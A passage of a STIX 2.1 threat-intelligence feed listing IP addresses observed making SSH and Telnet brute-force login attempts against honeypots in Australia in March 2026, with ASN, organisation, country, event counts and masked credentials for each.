      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): n*******l, 3**********4, a**y, a***d, *. Passwords observed (masked): 1****6, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.165.3.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T08:15:15.000Z",
      "valid_until": "2026-04-24T08:15:12.000Z"
    },
    {
      "created": "2026-03-23T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--2c8a11dc-5cda-4dd1-ba9a-7ca7da77c33a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.169.58.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T09:15:14.000Z",
      "valid_until": "2026-04-24T09:15:12.000Z"
    },
    {
      "created": "2026-03-23T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--e71f0229-95c2-408c-a382-ef803e68bdba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.157.69.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T09:15:14.000Z",
      "valid_until": "2026-04-24T09:15:12.000Z"
    },
    {
      "created": "2026-03-23T09:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 201401. Organisation(s): NewVM B.V..",
      "id": "indicator--fd57f02e-a11e-4941-90f0-c9a9547b9cc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T09:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '31.14.32.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T09:15:14.000Z",
      "valid_until": "2026-04-24T09:15:12.000Z"
    },
    {
      "created": "2026-03-23T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--9f6bb62b-0c91-42eb-a4a9-abf7f3de48b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.196.86.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T10:15:13.000Z",
      "valid_until": "2026-04-24T10:15:12.000Z"
    },
    {
      "created": "2026-03-23T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 152586. Organisation(s): Kuroit. Usernames observed (masked): i****l, 3**********4, c**t, k**e, ***. Passwords observed (masked): ***, 1**4, 1******8, 3***********4, 3**********4.",
      "id": "indicator--2ca3f3e7-a2c0-4d35-85c5-cb5fcec03d47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.180.127.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T10:15:13.000Z",
      "valid_until": "2026-04-24T10:15:12.000Z"
    },
    {
      "created": "2026-03-23T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--c7e2ed02-a47e-4b12-86b7-94f25b5271fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.79.181.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T10:15:13.000Z",
      "valid_until": "2026-04-24T10:15:12.000Z"
    },
    {
      "created": "2026-03-23T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--72fa06c0-e8c6-4f66-ac21-5a18f7b983a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T10:15:13.000Z",
      "valid_until": "2026-04-24T10:15:12.000Z"
    },
    {
      "created": "2026-03-23T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--90114b01-b8fd-4498-8e05-b4d901fd8f3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.233.164.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:15:14.000Z",
      "valid_until": "2026-04-24T11:15:12.000Z"
    },
    {
      "created": "2026-03-23T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, s****n, 3**********4, e****e, g***t. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, H******3.",
      "id": "indicator--7ffff8c3-18ab-4dd6-af9c-4a27d0ce1c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:15:14.000Z",
      "valid_until": "2026-04-24T11:15:12.000Z"
    },
    {
      "created": "2026-03-23T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--eb003749-d1fb-401f-82d0-35948b901e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:15:14.000Z",
      "valid_until": "2026-04-24T11:15:12.000Z"
    },
    {
      "created": "2026-03-23T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): s****s, 3**********4, j***a, ***, l***s. Passwords observed (masked): 1**4, ***, 1****6, 3***********4, 3**********4.",
      "id": "indicator--36089666-9cf4-4bb5-9aec-41b7d6f1cfc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.239.56.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T11:15:14.000Z",
      "valid_until": "2026-04-24T11:15:12.000Z"
    },
    {
      "created": "2026-03-23T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t, w**t, a***n. Passwords observed (masked): t**p, , a***n, r**t.",
      "id": "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T12:15:15.000Z",
      "valid_until": "2026-04-24T12:15:11.000Z"
    },
    {
      "created": "2026-03-23T12:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 17924. Organisation(s): SmarTone Mobile Communications Ltd.",
      "id": "indicator--5176971f-4255-4a01-aa48-80d7a2caf86a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.130.197.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T12:15:15.000Z",
      "valid_until": "2026-04-24T12:15:11.000Z"
    },
    {
      "created": "2026-03-23T12:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--dfb877a5-b5a1-4b39-a62a-07b081659434",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T12:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.208.174.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T12:15:15.000Z",
      "valid_until": "2026-04-24T12:15:11.000Z"
    },
    {
      "created": "2026-03-23T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133275. Organisation(s): Gigantic Infotel Pvt Ltd.",
      "id": "indicator--32365591-674e-4593-9cdc-d7de994746a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.243.4.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:15:15.000Z",
      "valid_until": "2026-04-24T13:15:12.000Z"
    },
    {
      "created": "2026-03-23T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 378. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, c***o, t**t, ***. Passwords observed (masked): a***n, p******d, 0********1, 0**************D, 1****6.",
      "id": "indicator--6a124f66-d172-4172-94d1-0ab6727b72ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.0.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:15:15.000Z",
      "valid_until": "2026-04-24T13:15:12.000Z"
    },
    {
      "created": "2026-03-23T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 370. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, t**t, 1**4. Passwords observed (masked): 1**4, 1***5, a***n, *, 1**1.",
      "id": "indicator--2d5fa91d-9cba-4bb7-8745-e0ebc642ff80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.196.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:15:15.000Z",
      "valid_until": "2026-04-24T13:15:12.000Z"
    },
    {
      "created": "2026-03-23T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): 3**********4, m****b, p***t, a*****d, **. Passwords observed (masked): 1***5, 3***********4, 3**********4, 1**4, 1******8.",
      "id": "indicator--9608e808-fe43-4e98-a2f0-3d8ebf9842e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.147.255.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:15:15.000Z",
      "valid_until": "2026-04-24T13:15:12.000Z"
    },
    {
      "created": "2026-03-23T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): a*****d, m****b, n*******m. Passwords observed (masked): 1**4, 1******8, m********4.",
      "id": "indicator--5b8472bc-cc14-4c6b-a500-1d11e3bb9d5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.228.97.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T13:15:15.000Z",
      "valid_until": "2026-04-24T13:15:12.000Z"
    },
    {
      "created": "2026-03-23T14:18:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, r******z, t******a, **, a****r. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1******8.",
      "id": "indicator--bd37c373-9127-4aaa-96a8-34c438dee896",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T14:18:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.101.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:18:09.000Z",
      "valid_until": "2026-04-24T14:15:11.000Z"
    },
    {
      "created": "2026-03-23T14:18:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): d**e. Passwords observed (masked): d*********6.",
      "id": "indicator--8623c6b6-36ec-4fee-973b-2389a5bd24d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T14:18:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.74.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:18:09.000Z",
      "valid_until": "2026-04-24T14:15:11.000Z"
    },
    {
      "created": "2026-03-23T14:18:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--4c80d8a6-05d2-4295-aca0-b1aca03d26fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T14:18:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '150.136.222.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:18:09.000Z",
      "valid_until": "2026-04-24T14:15:11.000Z"
    },
    {
      "created": "2026-03-23T14:18:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, a***n, ***, c****s, t****s. Passwords observed (masked): ***, 1***5, 1**********c, 3***********4, H*****!.",
      "id": "indicator--d20785df-d323-4a38-9aab-fb27bf44ef55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T14:18:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.89.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:18:09.000Z",
      "valid_until": "2026-04-24T14:15:11.000Z"
    },
    {
      "created": "2026-03-23T14:18:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6c1ffb75-f44b-464c-b0d1-b28d901f7dcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T14:18:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.118.24.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T14:18:09.000Z",
      "valid_until": "2026-04-24T14:15:11.000Z"
    },
    {
      "created": "2026-03-23T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, *, m*******o. Passwords observed (masked): P******d, *, m*******o.",
      "id": "indicator--fb464347-426a-4479-aa79-7508785fca12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:15:14.000Z",
      "valid_until": "2026-04-24T15:15:11.000Z"
    },
    {
      "created": "2026-03-23T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, g******a, **. Passwords observed (masked): P******d, g**********s, l****s.",
      "id": "indicator--1f72f2bb-bca6-449a-9c7e-59b4aaf5ad1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.228.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:15:14.000Z",
      "valid_until": "2026-04-24T15:15:11.000Z"
    },
    {
      "created": "2026-03-23T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**l, 3**********4, a***n, ***. Passwords observed (masked): 3***********4, 3**********4, P******d, a******4, p******d.",
      "id": "indicator--40bb15e5-bde9-4b4a-a96e-185ade359633",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.58.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:15:14.000Z",
      "valid_until": "2026-04-24T15:15:11.000Z"
    },
    {
      "created": "2026-03-23T15:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--b3ef34be-dabd-4511-8c06-85a4e0c9c133",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T15:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T15:15:14.000Z",
      "valid_until": "2026-04-24T15:15:11.000Z"
    },
    {
      "created": "2026-03-23T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--89fd0d76-c92b-4747-adb1-e93c02929b1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:15:14.000Z",
      "valid_until": "2026-04-24T16:15:11.000Z"
    },
    {
      "created": "2026-03-23T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--05d0d12e-4ab8-42c8-9cad-9a0b74497311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.8.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:15:14.000Z",
      "valid_until": "2026-04-24T16:15:11.000Z"
    },
    {
      "created": "2026-03-23T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1f350faf-9072-4ff6-95d8-96446d03208a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:15:14.000Z",
      "valid_until": "2026-04-24T16:15:11.000Z"
    },
    {
      "created": "2026-03-23T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MK. ASN(s): 6821. Organisation(s): Makedonski Telekom AD-Skopje.",
      "id": "indicator--bc00c552-3177-47fa-a8c2-81ca13dca41d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.125.160.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T16:15:14.000Z",
      "valid_until": "2026-04-24T16:15:11.000Z"
    },
    {
      "created": "2026-03-23T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e3df89b3-730f-45d5-80a4-44cc7002e52a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T17:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.32.185.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T17:15:15.000Z",
      "valid_until": "2026-04-24T17:15:13.000Z"
    },
    {
      "created": "2026-03-23T17:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--960ded00-60db-4c43-ab7d-fd086f598014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T17:15:15.000Z",
